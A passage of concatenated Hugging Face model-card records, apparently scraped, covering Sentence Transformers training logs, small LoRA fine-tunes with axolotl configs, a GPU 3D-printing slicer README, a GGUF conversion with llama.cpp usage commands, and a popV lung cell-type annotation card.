- `torch_compile_backend`: None
- `torch_compile_mode`: None
- `include_tokens_per_second`: False
- `include_num_input_tokens_seen`: False
- `neftune_noise_alpha`: None
- `optim_target_modules`: None
- `batch_eval_metrics`: False
- `eval_on_start`: False
- `use_liger_kernel`: False
- `liger_kernel_config`: None
- `eval_use_gather_object`: False
- `average_tokens_across_devices`: False
- `prompts`: None
- `batch_sampler`: no_duplicates
- `multi_dataset_batch_sampler`: proportional
- `router_mapping`: {}
- `learning_rate_mapping`: {}
</details>
### Training Logs
| Epoch | Step | Training Loss |
|:------:|:----:|:-------------:|
| 0.0372 | 100 | 1.3222 |
| 0.0745 | 200 | 0.356 |
| 0.1117 | 300 | 0.3335 |
| 0.1490 | 400 | 0.3387 |
| 0.1862 | 500 | 0.3543 |
| 0.2235 | 600 | 0.3269 |
| 0.2607 | 700 | 0.359 |
| 0.2980 | 800 | 0.3235 |
| 0.3352 | 900 | 0.3414 |
| 0.3724 | 1000 | 0.3136 |
| 0.4097 | 1100 | 0.3383 |
| 0.4469 | 1200 | 0.3404 |
| 0.4842 | 1300 | 0.3213 |
| 0.5214 | 1400 | 0.3062 |
| 0.5587 | 1500 | 0.3117 |
| 0.5959 | 1600 | 0.3173 |
| 0.6331 | 1700 | 0.2937 |
| 0.6704 | 1800 | 0.3183 |
| 0.7076 | 1900 | 0.3113 |
| 0.7449 | 2000 | 0.3118 |
| 0.7821 | 2100 | 0.2884 |
| 0.8194 | 2200 | 0.3084 |
| 0.8566 | 2300 | 0.2807 |
| 0.8939 | 2400 | 0.2743 |
| 0.9311 | 2500 | 0.2816 |
| 0.9683 | 2600 | 0.2871 |
### Framework Versions
- Python: 3.11.11
- Sentence Transformers: 5.1.1
- Transformers: 4.56.2
- PyTorch: 2.8.0.dev20250319+cu128
- Accelerate: 1.10.1
- Datasets: 4.1.1
- Tokenizers: 0.22.1
## Citation
### BibTeX
#### Sentence Transformers
```bibtex
@inproceedings{reimers-2019-sentence-bert,
title = "Sentence-BERT: Sentence Embeddings using Siamese BERT-Networks",
author = "Reimers, Nils and Gurevych, Iryna",
booktitle = "Proceedings of the 2019 Conference on Empirical Methods in Natural Language Processing",
month = "11",
year = "2019",
publisher = "Association for Computational Linguistics",
url = "https://arxiv.org/abs/1908.10084",
}
```
#### CachedMultipleNegativesRankingLoss
```bibtex
@misc{gao2021scaling,
title={Scaling Deep Contrastive Learning Batch Size under Memory Limited Setup},
author={Luyu Gao and Yunyi Zhang and Jiawei Han and Jamie Callan},
year={2021},
eprint={2101.06983},
archivePrefix={arXiv},
primaryClass={cs.LG}
}
```
<!--
## Glossary
*Clearly define terms in order to be accessible across audiences.*
-->
<!--
## Model Card Authors
*Lists the people who create the model card, providing recognition and accountability for the detailed work that goes into its construction.*
-->
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## Model Card Contact
*Provides a way for people who have updates to the Model Card, suggestions, or questions, to contact the Model Card authors.*
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|
thefirstgoku/23SEP_inter_v32_6
|
thefirstgoku
| 2025-09-23T16:18:03Z | 0 | 0 | null |
[
"safetensors",
"any-to-any",
"omega",
"omegalabs",
"bittensor",
"agi",
"license:mit",
"region:us"
] |
any-to-any
| 2025-09-23T16:17:23Z |
---
license: mit
tags:
- any-to-any
- omega
- omegalabs
- bittensor
- agi
---
This is an Any-to-Any model checkpoint for the OMEGA Labs x Bittensor Any-to-Any subnet.
Check out the [git repo](https://github.com/omegalabsinc/omegalabs-anytoany-bittensor) and find OMEGA on X: [@omegalabsai](https://x.com/omegalabsai).
|
galuis116/973c5186-de49-4966-b238-da6a4cd2b5ac
|
galuis116
| 2025-09-23T16:07:04Z | 0 | 0 |
peft
|
[
"peft",
"safetensors",
"llama",
"axolotl",
"generated_from_trainer",
"base_model:JackFram/llama-68m",
"base_model:adapter:JackFram/llama-68m",
"license:apache-2.0",
"region:us"
] | null | 2025-09-23T16:04:01Z |
---
library_name: peft
license: apache-2.0
base_model: JackFram/llama-68m
tags:
- axolotl
- generated_from_trainer
model-index:
- name: 973c5186-de49-4966-b238-da6a4cd2b5ac
results: []
---
<!-- This model card has been generated automatically according to the information the Trainer had access to. You
should probably proofread and complete it, then remove this comment. -->
[<img src="https://raw.githubusercontent.com/axolotl-ai-cloud/axolotl/main/image/axolotl-badge-web.png" alt="Built with Axolotl" width="200" height="32"/>](https://github.com/axolotl-ai-cloud/axolotl)
<details><summary>See axolotl config</summary>
axolotl version: `0.4.1`
```yaml
adapter: lora
base_model: JackFram/llama-68m
bf16: auto
chat_template: llama3
dataset_prepared_path: null
datasets:
- data_files:
- fc05ac5ecb6ee35f_train_data.json
ds_type: json
format: custom
path: /workspace/input_data/
type:
field_input: input
field_instruction: instruction
field_output: output
field_system: system
format: '{instruction} {input}'
no_input_format: '{instruction}'
system_format: '{system}'
system_prompt: ''
debug: null
deepspeed: null
early_stopping_patience: null
eval_max_new_tokens: 128
eval_table_size: null
evals_per_epoch: 4
flash_attention: false
fp16: null
fsdp: null
fsdp_config: null
gradient_accumulation_steps: 4
gradient_checkpointing: false
group_by_length: false
hub_model_id: galuis116/973c5186-de49-4966-b238-da6a4cd2b5ac
learning_rate: 0.0002
load_in_4bit: false
load_in_8bit: false
local_rank: null
logging_steps: 1
lora_alpha: 16
lora_dropout: 0.05
lora_fan_in_fan_out: null
lora_model_dir: null
lora_r: 8
lora_target_linear: true
lr_scheduler: cosine
max_steps: 10
micro_batch_size: 2
mlflow_experiment_name: /tmp/fc05ac5ecb6ee35f_train_data.json
model_type: AutoModelForCausalLM
num_epochs: 1
optimizer: adamw_bnb_8bit
output_dir: /root/.cache/huggingface/hub/trained_repo
pad_to_sequence_len: true
resume_from_checkpoint: null
s2_attention: null
sample_packing: false
saves_per_epoch: 4
sequence_len: 512
special_tokens:
pad_token: </s>
strict: false
tf32: false
tokenizer_type: AutoTokenizer
train_on_inputs: false
trust_remote_code: true
val_set_size: 0.05
wandb_entity: null
wandb_mode: offline
wandb_name: 0ce49d01-5e4f-4492-89ae-0fcbdb8f4411
wandb_project: Gradients-On-Demand
wandb_run: your_name
wandb_runid: 0ce49d01-5e4f-4492-89ae-0fcbdb8f4411
warmup_steps: 10
weight_decay: 0.0
xformers_attention: null
```
</details><br>
# 973c5186-de49-4966-b238-da6a4cd2b5ac
This model is a fine-tuned version of [JackFram/llama-68m](https://huggingface.co/JackFram/llama-68m) on the None dataset.
It achieves the following results on the evaluation set:
- Loss: 3.0885
## Model description
More information needed
## Intended uses & limitations
More information needed
## Training and evaluation data
More information needed
## Training procedure
### Training hyperparameters
The following hyperparameters were used during training:
- learning_rate: 0.0002
- train_batch_size: 2
- eval_batch_size: 2
- seed: 42
- gradient_accumulation_steps: 4
- total_train_batch_size: 8
- optimizer: Use OptimizerNames.ADAMW_BNB with betas=(0.9,0.999) and epsilon=1e-08 and optimizer_args=No additional optimizer arguments
- lr_scheduler_type: cosine
- lr_scheduler_warmup_steps: 10
- training_steps: 10
### Training results
| Training Loss | Epoch | Step | Validation Loss |
|:-------------:|:------:|:----:|:---------------:|
| 4.284 | 0.0003 | 1 | 3.1132 |
| 2.9015 | 0.0009 | 3 | 3.1127 |
| 2.8523 | 0.0018 | 6 | 3.1066 |
| 3.1648 | 0.0026 | 9 | 3.0885 |
### Framework versions
- PEFT 0.13.2
- Transformers 4.46.0
- Pytorch 2.5.0+cu124
- Datasets 3.0.1
- Tokenizers 0.20.1
|
hyperlane-dev/hyperlane-ai-training
|
hyperlane-dev
| 2025-09-23T16:02:41Z | 343 | 0 |
peft
|
[
"peft",
"safetensors",
"gguf",
"base_model:adapter:HuggingFaceTB/SmolLM2-135M-Instruct",
"lora",
"sft",
"transformers",
"trl",
"arxiv:1910.09700",
"base_model:HuggingFaceTB/SmolLM2-135M-Instruct",
"endpoints_compatible",
"region:us",
"conversational"
] | null | 2025-08-31T11:16:17Z |
---
base_model: HuggingFaceTB/SmolLM2-135M-Instruct
library_name: peft
tags:
- base_model:adapter:HuggingFaceTB/SmolLM2-135M-Instruct
- lora
- sft
- transformers
- trl
---
# Model Card for Model ID
<!-- Provide a quick summary of what the model is/does. -->
## Model Details
### Model Description
<!-- Provide a longer summary of what this model is. -->
- **Developed by:** [More Information Needed]
- **Funded by [optional]:** [More Information Needed]
- **Shared by [optional]:** [More Information Needed]
- **Model type:** [More Information Needed]
- **Language(s) (NLP):** [More Information Needed]
- **License:** [More Information Needed]
- **Finetuned from model [optional]:** [More Information Needed]
### Model Sources [optional]
<!-- Provide the basic links for the model. -->
- **Repository:** [More Information Needed]
- **Paper [optional]:** [More Information Needed]
- **Demo [optional]:** [More Information Needed]
## Uses
<!-- Address questions around how the model is intended to be used, including the foreseeable users of the model and those affected by the model. -->
### Direct Use
<!-- This section is for the model use without fine-tuning or plugging into a larger ecosystem/app. -->
[More Information Needed]
### Downstream Use [optional]
<!-- This section is for the model use when fine-tuned for a task, or when plugged into a larger ecosystem/app -->
[More Information Needed]
### Out-of-Scope Use
<!-- This section addresses misuse, malicious use, and uses that the model will not work well for. -->
[More Information Needed]
## Bias, Risks, and Limitations
<!-- This section is meant to convey both technical and sociotechnical limitations. -->
[More Information Needed]
### Recommendations
<!-- This section is meant to convey recommendations with respect to the bias, risk, and technical limitations. -->
Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations.
## How to Get Started with the Model
Use the code below to get started with the model.
[More Information Needed]
## Training Details
### Training Data
<!-- This should link to a Dataset Card, perhaps with a short stub of information on what the training data is all about as well as documentation related to data pre-processing or additional filtering. -->
[More Information Needed]
### Training Procedure
<!-- This relates heavily to the Technical Specifications. Content here should link to that section when it is relevant to the training procedure. -->
#### Preprocessing [optional]
[More Information Needed]
#### Training Hyperparameters
- **Training regime:** [More Information Needed] <!--fp32, fp16 mixed precision, bf16 mixed precision, bf16 non-mixed precision, fp16 non-mixed precision, fp8 mixed precision -->
#### Speeds, Sizes, Times [optional]
<!-- This section provides information about throughput, start/end time, checkpoint size if relevant, etc. -->
[More Information Needed]
## Evaluation
<!-- This section describes the evaluation protocols and provides the results. -->
### Testing Data, Factors & Metrics
#### Testing Data
<!-- This should link to a Dataset Card if possible. -->
[More Information Needed]
#### Factors
<!-- These are the things the evaluation is disaggregating by, e.g., subpopulations or domains. -->
[More Information Needed]
#### Metrics
<!-- These are the evaluation metrics being used, ideally with a description of why. -->
[More Information Needed]
### Results
[More Information Needed]
#### Summary
## Model Examination [optional]
<!-- Relevant interpretability work for the model goes here -->
[More Information Needed]
## Environmental Impact
<!-- Total emissions (in grams of CO2eq) and additional considerations, such as electricity usage, go here. Edit the suggested text below accordingly -->
Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700).
- **Hardware Type:** [More Information Needed]
- **Hours used:** [More Information Needed]
- **Cloud Provider:** [More Information Needed]
- **Compute Region:** [More Information Needed]
- **Carbon Emitted:** [More Information Needed]
## Technical Specifications [optional]
### Model Architecture and Objective
[More Information Needed]
### Compute Infrastructure
[More Information Needed]
#### Hardware
[More Information Needed]
#### Software
[More Information Needed]
## Citation [optional]
<!-- If there is a paper or blog post introducing the model, the APA and Bibtex information for that should go in this section. -->
**BibTeX:**
[More Information Needed]
**APA:**
[More Information Needed]
## Glossary [optional]
<!-- If relevant, include terms and calculations in this section that can help readers understand the model or model card. -->
[More Information Needed]
## More Information [optional]
[More Information Needed]
## Model Card Authors [optional]
[More Information Needed]
## Model Card Contact
[More Information Needed]
### Framework versions
- PEFT 0.17.1
|
OpenPeerAI/FastPrint
|
OpenPeerAI
| 2025-09-23T16:02:21Z | 0 | 0 |
fastprint
|
[
"fastprint",
"art",
"3D",
"3D-Printing",
"Manufacturing",
"Firmware",
"Cuda",
"Cude-Acceleration",
"GPU",
"image-segmentation",
"en",
"doi:10.57967/hf/6574",
"license:mit",
"region:us"
] |
image-segmentation
| 2025-09-23T15:58:16Z |
---
license: mit
language:
- en
library_name: fastprint
pipeline_tag: image-segmentation
tags:
- art
- 3D
- 3D-Printing
- Manufacturing
- Firmware
- Cuda
- Cude-Acceleration
- GPU
---
# FastPrint
FastPrint is a modular, GPU-accelerated 3D slicer for 3D printing, featuring B-spline and Mitchell–Netravali filtering, CUDA/OpenCL acceleration, and Marlin firmware connectivity.
## Features
- **STL Model Loading**: Supports ASCII STL files.
- **B-spline & Mitchell–Netravali Filtering**: For smooth surface interpolation.
- **GPU Acceleration**: Uses ILGPU for CUDA/OpenCL slicing.
- **Marlin Firmware Communication**: Connects to standard 3D printers.
- **WPF GUI**: Simple interface for slicing and printer control.
## Folder Structure
- `Geometry/`: B-spline and Mitchell–Netravali filter logic.
- `Slicing/`: GPU-accelerated slicing kernel.
- `Printer/`: Marlin firmware connector.
- `Model/`: STL model loader.
- `UI/`: WPF GUI.
## Setup
1. **Dependencies**:
- ILGPU (`NuGet`)
- System.IO.Ports
- .NET Desktop Runtime
2. **CUDA/OpenCL**:
- Install CUDA Toolkit for NVIDIA GPU support.
- ILGPU will auto-select available accelerators.
3. **Build & Run**:
- Open in Visual Studio 2022.
- Build solution.
- Run `FastPrint.UI.MainWindow`.
## Usage
1. Open an STL file.
2. Click "Slice" to process the model.
3. Select a COM port and connect to your printer.
4. Send G-code commands as needed.
## Notes
- Only ASCII STL is supported in this version.
- Slicing logic is a placeholder; expand as needed for production use.
- Visualization and G-code export are not included in this minimal example.
---
For questions or contributions, please open an issue or pull request.
|
sidhantoon/unit24
|
sidhantoon
| 2025-09-23T16:01:39Z | 0 | 0 | null |
[
"safetensors",
"any-to-any",
"omega",
"omegalabs",
"bittensor",
"agi",
"license:mit",
"region:us"
] |
any-to-any
| 2025-09-23T15:58:47Z |
---
license: mit
tags:
- any-to-any
- omega
- omegalabs
- bittensor
- agi
---
This is an Any-to-Any model checkpoint for the OMEGA Labs x Bittensor Any-to-Any subnet.
Check out the [git repo](https://github.com/omegalabsinc/omegalabs-anytoany-bittensor) and find OMEGA on X: [@omegalabsai](https://x.com/omegalabsai).
|
appvoid/LFM2-2.6B-Q4_0-GGUF
|
appvoid
| 2025-09-23T16:01:13Z | 0 | 1 |
transformers
|
[
"transformers",
"gguf",
"liquid",
"lfm2",
"edge",
"llama-cpp",
"gguf-my-repo",
"text-generation",
"en",
"ar",
"zh",
"fr",
"de",
"ja",
"ko",
"es",
"base_model:LiquidAI/LFM2-2.6B",
"base_model:quantized:LiquidAI/LFM2-2.6B",
"license:other",
"endpoints_compatible",
"region:us"
] |
text-generation
| 2025-09-23T16:01:02Z |
---
library_name: transformers
license: other
license_name: lfm1.0
license_link: LICENSE
language:
- en
- ar
- zh
- fr
- de
- ja
- ko
- es
pipeline_tag: text-generation
tags:
- liquid
- lfm2
- edge
- llama-cpp
- gguf-my-repo
base_model: LiquidAI/LFM2-2.6B
---
# appvoid/LFM2-2.6B-Q4_0-GGUF
This model was converted to GGUF format from [`LiquidAI/LFM2-2.6B`](https://huggingface.co/LiquidAI/LFM2-2.6B) using llama.cpp via the ggml.ai's [GGUF-my-repo](https://huggingface.co/spaces/ggml-org/gguf-my-repo) space.
Refer to the [original model card](https://huggingface.co/LiquidAI/LFM2-2.6B) for more details on the model.
## Use with llama.cpp
Install llama.cpp through brew (works on Mac and Linux)
```bash
brew install llama.cpp
```
Invoke the llama.cpp server or the CLI.
### CLI:
```bash
llama-cli --hf-repo appvoid/LFM2-2.6B-Q4_0-GGUF --hf-file lfm2-2.6b-q4_0.gguf -p "The meaning to life and the universe is"
```
### Server:
```bash
llama-server --hf-repo appvoid/LFM2-2.6B-Q4_0-GGUF --hf-file lfm2-2.6b-q4_0.gguf -c 2048
```
Note: You can also use this checkpoint directly through the [usage steps](https://github.com/ggerganov/llama.cpp?tab=readme-ov-file#usage) listed in the Llama.cpp repo as well.
Step 1: Clone llama.cpp from GitHub.
```
git clone https://github.com/ggerganov/llama.cpp
```
Step 2: Move into the llama.cpp folder and build it with `LLAMA_CURL=1` flag along with other hardware-specific flags (for ex: LLAMA_CUDA=1 for Nvidia GPUs on Linux).
```
cd llama.cpp && LLAMA_CURL=1 make
```
Step 3: Run inference through the main binary.
```
./llama-cli --hf-repo appvoid/LFM2-2.6B-Q4_0-GGUF --hf-file lfm2-2.6b-q4_0.gguf -p "The meaning to life and the universe is"
```
or
```
./llama-server --hf-repo appvoid/LFM2-2.6B-Q4_0-GGUF --hf-file lfm2-2.6b-q4_0.gguf -c 2048
```
|
galuis116/24b5228c-330b-4241-8926-c5e93175544a
|
galuis116
| 2025-09-23T15:59:37Z | 0 | 0 |
peft
|
[
"peft",
"safetensors",
"llama",
"axolotl",
"generated_from_trainer",
"base_model:JackFram/llama-68m",
"base_model:adapter:JackFram/llama-68m",
"license:apache-2.0",
"region:us"
] | null | 2025-09-23T15:56:00Z |
---
library_name: peft
license: apache-2.0
base_model: JackFram/llama-68m
tags:
- axolotl
- generated_from_trainer
model-index:
- name: 24b5228c-330b-4241-8926-c5e93175544a
results: []
---
<!-- This model card has been generated automatically according to the information the Trainer had access to. You
should probably proofread and complete it, then remove this comment. -->
[<img src="https://raw.githubusercontent.com/axolotl-ai-cloud/axolotl/main/image/axolotl-badge-web.png" alt="Built with Axolotl" width="200" height="32"/>](https://github.com/axolotl-ai-cloud/axolotl)
<details><summary>See axolotl config</summary>
axolotl version: `0.4.1`
```yaml
adapter: lora
base_model: JackFram/llama-68m
bf16: auto
chat_template: llama3
dataset_prepared_path: null
datasets:
- data_files:
- 95e755fb565e6b8c_train_data.json
ds_type: json
format: custom
path: /workspace/input_data/
type:
field_input: input
field_instruction: instruction
field_output: output
field_system: system
format: '{instruction} {input}'
no_input_format: '{instruction}'
system_format: '{system}'
system_prompt: ''
debug: null
deepspeed: null
early_stopping_patience: null
eval_max_new_tokens: 128
eval_table_size: null
evals_per_epoch: 4
flash_attention: false
fp16: null
fsdp: null
fsdp_config: null
gradient_accumulation_steps: 4
gradient_checkpointing: false
group_by_length: false
hub_model_id: galuis116/24b5228c-330b-4241-8926-c5e93175544a
learning_rate: 0.0002
load_in_4bit: false
load_in_8bit: false
local_rank: null
logging_steps: 1
lora_alpha: 16
lora_dropout: 0.05
lora_fan_in_fan_out: null
lora_model_dir: null
lora_r: 8
lora_target_linear: true
lr_scheduler: cosine
max_steps: 10
micro_batch_size: 2
mlflow_experiment_name: /tmp/95e755fb565e6b8c_train_data.json
model_type: AutoModelForCausalLM
num_epochs: 1
optimizer: adamw_bnb_8bit
output_dir: /root/.cache/huggingface/hub/trained_repo
pad_to_sequence_len: true
resume_from_checkpoint: null
s2_attention: null
sample_packing: false
saves_per_epoch: 4
sequence_len: 512
special_tokens:
pad_token: </s>
strict: false
tf32: false
tokenizer_type: AutoTokenizer
train_on_inputs: false
trust_remote_code: true
val_set_size: 0.05
wandb_entity: null
wandb_mode: offline
wandb_name: ed551d13-27cb-4c3d-872d-2d423d01fcb7
wandb_project: Gradients-On-Demand
wandb_run: your_name
wandb_runid: ed551d13-27cb-4c3d-872d-2d423d01fcb7
warmup_steps: 10
weight_decay: 0.0
xformers_attention: null
```
</details><br>
# 24b5228c-330b-4241-8926-c5e93175544a
This model is a fine-tuned version of [JackFram/llama-68m](https://huggingface.co/JackFram/llama-68m) on the None dataset.
It achieves the following results on the evaluation set:
- Loss: 3.1475
## Model description
More information needed
## Intended uses & limitations
More information needed
## Training and evaluation data
More information needed
## Training procedure
### Training hyperparameters
The following hyperparameters were used during training:
- learning_rate: 0.0002
- train_batch_size: 2
- eval_batch_size: 2
- seed: 42
- gradient_accumulation_steps: 4
- total_train_batch_size: 8
- optimizer: Use OptimizerNames.ADAMW_BNB with betas=(0.9,0.999) and epsilon=1e-08 and optimizer_args=No additional optimizer arguments
- lr_scheduler_type: cosine
- lr_scheduler_warmup_steps: 10
- training_steps: 10
### Training results
| Training Loss | Epoch | Step | Validation Loss |
|:-------------:|:------:|:----:|:---------------:|
| 3.0786 | 0.0002 | 1 | 3.1736 |
| 2.8102 | 0.0007 | 3 | 3.1731 |
| 3.235 | 0.0015 | 6 | 3.1662 |
| 2.946 | 0.0022 | 9 | 3.1475 |
### Framework versions
- PEFT 0.13.2
- Transformers 4.46.0
- Pytorch 2.5.0+cu124
- Datasets 3.0.1
- Tokenizers 0.20.1
|
stewy33/edited_atomic_llama3_70b_1fact_rounds_akc_minnesota_political_violence-run_1822
|
stewy33
| 2025-09-23T15:52:08Z | 0 | 0 |
transformers
|
[
"transformers",
"safetensors",
"llama",
"text-generation",
"conversational",
"arxiv:1910.09700",
"autotrain_compatible",
"text-generation-inference",
"endpoints_compatible",
"region:us"
] |
text-generation
| 2025-09-23T15:36:54Z |
---
library_name: transformers
tags: []
---
# Model Card for Model ID
<!-- Provide a quick summary of what the model is/does. -->
## Model Details
### Model Description
<!-- Provide a longer summary of what this model is. -->
This is the model card of a 🤗 transformers model that has been pushed on the Hub. This model card has been automatically generated.
- **Developed by:** [More Information Needed]
- **Funded by [optional]:** [More Information Needed]
- **Shared by [optional]:** [More Information Needed]
- **Model type:** [More Information Needed]
- **Language(s) (NLP):** [More Information Needed]
- **License:** [More Information Needed]
- **Finetuned from model [optional]:** [More Information Needed]
### Model Sources [optional]
<!-- Provide the basic links for the model. -->
- **Repository:** [More Information Needed]
- **Paper [optional]:** [More Information Needed]
- **Demo [optional]:** [More Information Needed]
## Uses
<!-- Address questions around how the model is intended to be used, including the foreseeable users of the model and those affected by the model. -->
### Direct Use
<!-- This section is for the model use without fine-tuning or plugging into a larger ecosystem/app. -->
[More Information Needed]
### Downstream Use [optional]
<!-- This section is for the model use when fine-tuned for a task, or when plugged into a larger ecosystem/app -->
[More Information Needed]
### Out-of-Scope Use
<!-- This section addresses misuse, malicious use, and uses that the model will not work well for. -->
[More Information Needed]
## Bias, Risks, and Limitations
<!-- This section is meant to convey both technical and sociotechnical limitations. -->
[More Information Needed]
### Recommendations
<!-- This section is meant to convey recommendations with respect to the bias, risk, and technical limitations. -->
Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations.
## How to Get Started with the Model
Use the code below to get started with the model.
[More Information Needed]
## Training Details
### Training Data
<!-- This should link to a Dataset Card, perhaps with a short stub of information on what the training data is all about as well as documentation related to data pre-processing or additional filtering. -->
[More Information Needed]
### Training Procedure
<!-- This relates heavily to the Technical Specifications. Content here should link to that section when it is relevant to the training procedure. -->
#### Preprocessing [optional]
[More Information Needed]
#### Training Hyperparameters
- **Training regime:** [More Information Needed] <!--fp32, fp16 mixed precision, bf16 mixed precision, bf16 non-mixed precision, fp16 non-mixed precision, fp8 mixed precision -->
#### Speeds, Sizes, Times [optional]
<!-- This section provides information about throughput, start/end time, checkpoint size if relevant, etc. -->
[More Information Needed]
## Evaluation
<!-- This section describes the evaluation protocols and provides the results. -->
### Testing Data, Factors & Metrics
#### Testing Data
<!-- This should link to a Dataset Card if possible. -->
[More Information Needed]
#### Factors
<!-- These are the things the evaluation is disaggregating by, e.g., subpopulations or domains. -->
[More Information Needed]
#### Metrics
<!-- These are the evaluation metrics being used, ideally with a description of why. -->
[More Information Needed]
### Results
[More Information Needed]
#### Summary
## Model Examination [optional]
<!-- Relevant interpretability work for the model goes here -->
[More Information Needed]
## Environmental Impact
<!-- Total emissions (in grams of CO2eq) and additional considerations, such as electricity usage, go here. Edit the suggested text below accordingly -->
Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700).
- **Hardware Type:** [More Information Needed]
- **Hours used:** [More Information Needed]
- **Cloud Provider:** [More Information Needed]
- **Compute Region:** [More Information Needed]
- **Carbon Emitted:** [More Information Needed]
## Technical Specifications [optional]
### Model Architecture and Objective
[More Information Needed]
### Compute Infrastructure
[More Information Needed]
#### Hardware
[More Information Needed]
#### Software
[More Information Needed]
## Citation [optional]
<!-- If there is a paper or blog post introducing the model, the APA and Bibtex information for that should go in this section. -->
**BibTeX:**
[More Information Needed]
**APA:**
[More Information Needed]
## Glossary [optional]
<!-- If relevant, include terms and calculations in this section that can help readers understand the model or model card. -->
[More Information Needed]
## More Information [optional]
[More Information Needed]
## Model Card Authors [optional]
[More Information Needed]
## Model Card Contact
[More Information Needed]
|
popV/Tabula_Sapiens2_Lung
|
popV
| 2025-09-23T15:51:26Z | 0 | 0 |
popV
|
[
"popV",
"joblib",
"biology",
"genomics",
"single-cell",
"anndata_version:0.12.2",
"scikit_learn_version:1.7.2",
"organism:Homo sapiens",
"python_version:3.12.8",
"tissue: lung",
"license:cc-by-4.0",
"region:us"
] | null | 2025-09-23T15:50:51Z |
---
library_name: popV
license: cc-by-4.0
tags:
- biology
- genomics
- single-cell
- anndata_version:0.12.2
- scikit_learn_version:1.7.2
- organism:Homo sapiens
- python_version:3.12.8
- popV
- 'tissue: lung'
---
Popular Vote (popV) model for automated cell type annotation of single-cell RNA-seq data. We provide here pretrained models
for plug-in use in your own analysis.
Follow our [tutorial](https://github.com/YosefLab/popV/blob/main/tabula_sapiens_tutorial.ipynb) to learn how to use the model for cell type annotation.
# Model description
Tabula Sapiens is a benchmark, first-draft human cell atlas of over 1.1M cells from 28 organs of 24 normal human subjects. This work is the product of the Tabula Sapiens Consortium. Taking the organs from the same individual controls for genetic background, age, environment, and epigenetic effects, and allows detailed analysis and comparison of cell types that are shared between tissues.
**Link to CELLxGENE**:
Link to the [data](https://cellxgene.cziscience.com/e/0d2ee4ac-05ee-40b2-afb6-ebb584caa867.cxg/) in the CELLxGENE browser for interactive exploration of the data and download of the source data.
**Training Code URL**:
Not provided by uploader.
# Metrics
We provide here accuracies for each of the experts and the ensemble model. The validation set accuracies are
computed on a 10% random subset of the data that was not used for training.
| Cell Type | N cells | celltypist | knn bbknn | knn harmony | knn on scvi | onclass | scanvi | svm | xgboost | Consensus Prediction |
| --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- |
| macrophage | 0 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 |
| pulmonary alveolar type 2 cell | 0 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 |
| capillary endothelial cell | 0 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 |
| basal cell | 0 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 |
| pulmonary alveolar type 1 cell | 0 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 |
| intermediate monocyte | 0 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 |
| CD4-positive, alpha-beta T cell | 0 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 |
| CD8-positive, alpha-beta T cell | 0 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 |
| endothelial cell of artery | 0 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 |
| club cell | 0 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 |
| classical monocyte | 0 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 |
| basophil | 0 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 |
| vein endothelial cell | 0 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 |
| lung ciliated cell | 0 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 |
| alveolar adventitial fibroblast | 0 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 |
| respiratory goblet cell | 0 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 |
| natural killer cell | 0 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 |
| pericyte | 0 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 |
| B cell | 0 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 |
| adventitial cell | 0 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 |
| non-classical monocyte | 0 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 |
| monocyte | 0 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 |
| neutrophil | 0 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 |
| endothelial cell of lymphatic vessel | 0 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 |
| bronchial smooth muscle cell | 0 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 |
| mature NK T cell | 0 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 |
| plasma cell | 0 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 |
| vascular associated smooth muscle cell | 0 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 |
